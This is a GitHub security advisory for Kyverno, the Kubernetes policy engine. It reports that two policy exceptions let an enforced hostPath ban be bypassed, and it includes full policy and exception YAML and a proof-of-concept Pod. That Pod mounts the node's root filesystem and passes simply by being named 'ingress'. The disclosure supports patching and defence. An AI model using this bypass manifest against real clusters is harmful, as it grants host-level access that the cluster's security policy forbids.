GHSA-GG4X-FGG2-H9W9
Vulnerability from github – Published: 2026-01-06 18:00 – Updated: 2026-01-06 18:00
VLAI?
Summary
Bypassing Kyverno Policies via Double Policy Exceptions
Details
Summary
If a cluster has a Kyverno policy in enforce mode and there are two exceptions, this allows the policy to be bypassed, even if the first exception is more restrictive than the second.
Details
The following policy was applied:
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: disallow-host-path
annotations:
policies.kyverno.io/title: Disallow hostPath
policies.kyverno.io/category: Pod Security Standards (Baseline)
policies.kyverno.io/severity: medium
policies.kyverno.io/subject: Pod,Volume
kyverno.io/kyverno-version: 1.6.0
kyverno.io/kubernetes-version: "1.22-1.23"
policies.kyverno.io/description: >-
HostPath volumes let Pods use host directories and volumes in containers.
Using host resources can be used to access shared data or escalate privileges
and should not be allowed. This policy ensures no hostPath volumes are in use.
spec:
validationFailureAction: Enforce
background: true
rules:
- name: host-path
match:
any:
- resources:
kinds:
- Pod
validate:
message: >-
HostPath volumes are forbidden. The field spec.volumes[*].hostPath must be unset.
pattern:
spec:
=(volumes):
- X(hostPath): "null"
And two exceptions:
apiVersion: kyverno.io/v2beta1
kind: PolicyException
metadata:
name: disallow-host-path-exception
namespace: kyverno
spec:
exceptions:
- policyName: disallow-host-path
ruleNames:
- host-path
match:
any:
- resources:
kinds:
- DaemonSet
- Deployment
- Job
- StatefulSet
- ReplicaSet
- ReplicationController
- Pod
- CronJob
namespaces:
- luntry
- tstkyverno
- examplens
apiVersion: kyverno.io/v2beta1
kind: PolicyException
metadata:
name: disallow-host-path-exception-names
namespace: kyverno
spec:
exceptions:
- policyName: disallow-host-path
ruleNames:
- host-path
match:
any:
- resources:
kinds:
- DaemonSet
- Deployment
- Job
- StatefulSet
- ReplicaSet
- ReplicationController
- Pod
- CronJob
names:
- '*haproxy*'
- '*ingress*'
Trying to apply such a yaml will result in the expected ban:
apiVersion: v1
kind: Pod
metadata:
name: mtkpi
labels:
app: pentest
spec:
containers:
- name: mtkpi
image: ubuntu
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
volumes:
- name: noderoot
hostPath:
path: /
However, if the load name is changed to satisfy the second exception, the restrictions can be bypassed:
apiVersion: v1
kind: Pod
metadata:
name: ingress
labels:
app: pentest
spec:
containers:
- name: mtkpi
image: ubuntu
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
volumes:
- name: noderoot
hostPath:
path: /
It turns out that the second exception is higher in priority for Kyverno and allows for bypass of the restrictions.
Impact
The security restrictions can be bypassed.
Severity ?
9.0 (Critical)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.12.7"
},
"package": {
"ecosystem": "Go",
"name": "github.com/kyverno/kyverno"
},
"ranges": [
{
"events": [
{
"introduced": "1.9.0"
},
{
"fixed": "1.13.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-06T18:00:16Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\nIf a cluster has a `Kyverno` policy in enforce mode and there are two exceptions, this allows the policy to be bypassed, even if the first exception is more restrictive than the second.\n\n### Details\n\nThe following policy was applied:\n\n```yaml\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n name: disallow-host-path\n annotations:\n policies.kyverno.io/title: Disallow hostPath\n policies.kyverno.io/category: Pod Security Standards (Baseline)\n policies.kyverno.io/severity: medium\n policies.kyverno.io/subject: Pod,Volume\n kyverno.io/kyverno-version: 1.6.0\n kyverno.io/kubernetes-version: \"1.22-1.23\"\n policies.kyverno.io/description: \u003e-\n HostPath volumes let Pods use host directories and volumes in containers.\n Using host resources can be used to access shared data or escalate privileges\n and should not be allowed. This policy ensures no hostPath volumes are in use.\nspec:\n validationFailureAction: Enforce\n background: true\n rules:\n - name: host-path\n match:\n any:\n - resources:\n kinds:\n - Pod\n validate:\n message: \u003e-\n HostPath volumes are forbidden. The field spec.volumes[*].hostPath must be unset.\n pattern:\n spec:\n =(volumes):\n - X(hostPath): \"null\"\n```\n\nAnd two exceptions:\n\n```yaml\napiVersion: kyverno.io/v2beta1\nkind: PolicyException\nmetadata:\n name: disallow-host-path-exception\n namespace: kyverno\nspec:\n exceptions:\n - policyName: disallow-host-path\n ruleNames:\n - host-path\n match:\n any:\n - resources:\n kinds:\n - DaemonSet\n - Deployment\n - Job\n - StatefulSet\n - ReplicaSet\n - ReplicationController\n - Pod\n - CronJob\n namespaces:\n - luntry\n - tstkyverno\n - examplens\n```\n```yaml\napiVersion: kyverno.io/v2beta1\nkind: PolicyException\nmetadata:\n name: disallow-host-path-exception-names\n namespace: kyverno\nspec:\n exceptions:\n - policyName: disallow-host-path\n ruleNames:\n - host-path\n match:\n any:\n - resources:\n kinds:\n - DaemonSet\n - Deployment\n - Job\n - StatefulSet\n - ReplicaSet\n - ReplicationController\n - Pod\n - CronJob\n names:\n - \u0027*haproxy*\u0027\n - \u0027*ingress*\u0027\n```\nTrying to apply such a yaml will result in the expected ban:\n\n```yaml\napiVersion: v1\nkind: Pod\nmetadata:\n name: mtkpi\n labels:\n app: pentest\nspec:\n containers:\n - name: mtkpi\n image: ubuntu\n volumeMounts:\n - mountPath: /host\n name: noderoot\n command: [ \"/bin/sh\", \"-c\", \"--\" ]\n args: [ \"while true; do sleep 30; done;\" ] \n volumes:\n - name: noderoot\n hostPath:\n path: /\n```\n\u003cimg width=\"855\" height=\"483\" alt=\"\u0421\u043d\u0438\u043c\u043e\u043a \u044d\u043a\u0440\u0430\u043d\u0430 2025-09-04 \u0432 13 35 46\" src=\"https://github.com/user-attachments/assets/deb28128-52fb-4f5f-a9bd-b68eefd411b2\" /\u003e\n\nHowever, if the load name is changed to satisfy the second exception, the restrictions can be bypassed:\n\n```yaml\napiVersion: v1\nkind: Pod\nmetadata:\n name: ingress\n labels:\n app: pentest\nspec:\n containers:\n - name: mtkpi\n image: ubuntu\n volumeMounts:\n - mountPath: /host\n name: noderoot\n command: [ \"/bin/sh\", \"-c\", \"--\" ]\n args: [ \"while true; do sleep 30; done;\" ] \n volumes:\n - name: noderoot\n hostPath:\n path: /\n```\n\n\u003cimg width=\"449\" height=\"386\" alt=\"\u0421\u043d\u0438\u043c\u043e\u043a \u044d\u043a\u0440\u0430\u043d\u0430 2025-09-04 \u0432 13 37 09\" src=\"https://github.com/user-attachments/assets/8d5ad1e2-6d16-4768-8741-f11363bb9b22\" /\u003e\n\nIt turns out that the second exception is higher in priority for Kyverno and allows for bypass of the restrictions.\n\n### Impact\nThe security restrictions can be bypassed.",
"id": "GHSA-gg4x-fgg2-h9w9",
"modified": "2026-01-06T18:00:16Z",
"published": "2026-01-06T18:00:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-gg4x-fgg2-h9w9"
},
{
"type": "PACKAGE",
"url": "https://github.com/kyverno/kyverno"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Bypassing Kyverno Policies via Double Policy Exceptions"
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…